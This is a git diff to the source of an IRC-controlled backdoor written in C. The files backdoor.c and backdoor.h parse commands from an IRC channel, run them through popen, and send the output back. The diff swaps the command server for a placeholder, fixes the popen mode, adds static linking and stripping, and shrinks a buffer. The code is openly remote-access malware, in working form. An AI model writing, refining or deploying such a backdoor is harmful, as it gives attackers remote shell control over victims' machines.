diff --git a/build.sh b/build.sh index cbd37d2..b249b08 100755 --- a/build.sh +++ b/build.sh @@ -1,4 +1,3 @@ -CFLAGS="-s -Os -pedantic -Wall -Wextra" +CFLAGS="-s -Os -pedantic -Wall -Wextra -static" cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain -DVAL1=$RANDOM -DVAL2=$RANDOM -strip -sx main diff --git a/include/backdoor.h b/include/backdoor.h index d9804c2..5be1c01 100644 --- a/include/backdoor.h +++ b/include/backdoor.h @@ -2,7 +2,7 @@ #define _BACKDOOR_H #include "irc.h" -#define COMMON_BUF_SIZE 200 +#define COMMON_BUF_SIZE 100 void backdoor_offline(void); void parse_cmd(IRCC_client *client); diff --git a/include/cfg.h b/include/cfg.h index cee561a..6bbc46e 100644 --- a/include/cfg.h +++ b/include/cfg.h @@ -9,5 +9,5 @@ typedef struct { } SERVER; SERVER servers[] = { - {1, "irc.rizon.net", 6697, NULL, "#blbl", NULL} + {1, "irc.ipv4.server", 6697, NULL, "#channel", NULL} }; diff --git a/src/backdoor.c b/src/backdoor.c index 9e6361d..7c7bd0b 100644 --- a/src/backdoor.c +++ b/src/backdoor.c @@ -31,7 +31,7 @@ void parse_cmd(IRCC_client *client) { if (fp != NULL) pclose(fp); - fp = popen(client->irc_msg + 5, "wr"); + fp = popen(client->irc_msg + 5, "rw"); } else if (!strncmp(client->irc_msg, "!print", 6)) { @@ -42,6 +42,7 @@ void parse_cmd(IRCC_client *client) { if (fgets(buf, sizeof(buf), fp) == NULL) { pclose(fp); fp = NULL; + return; } send_info(client, buf);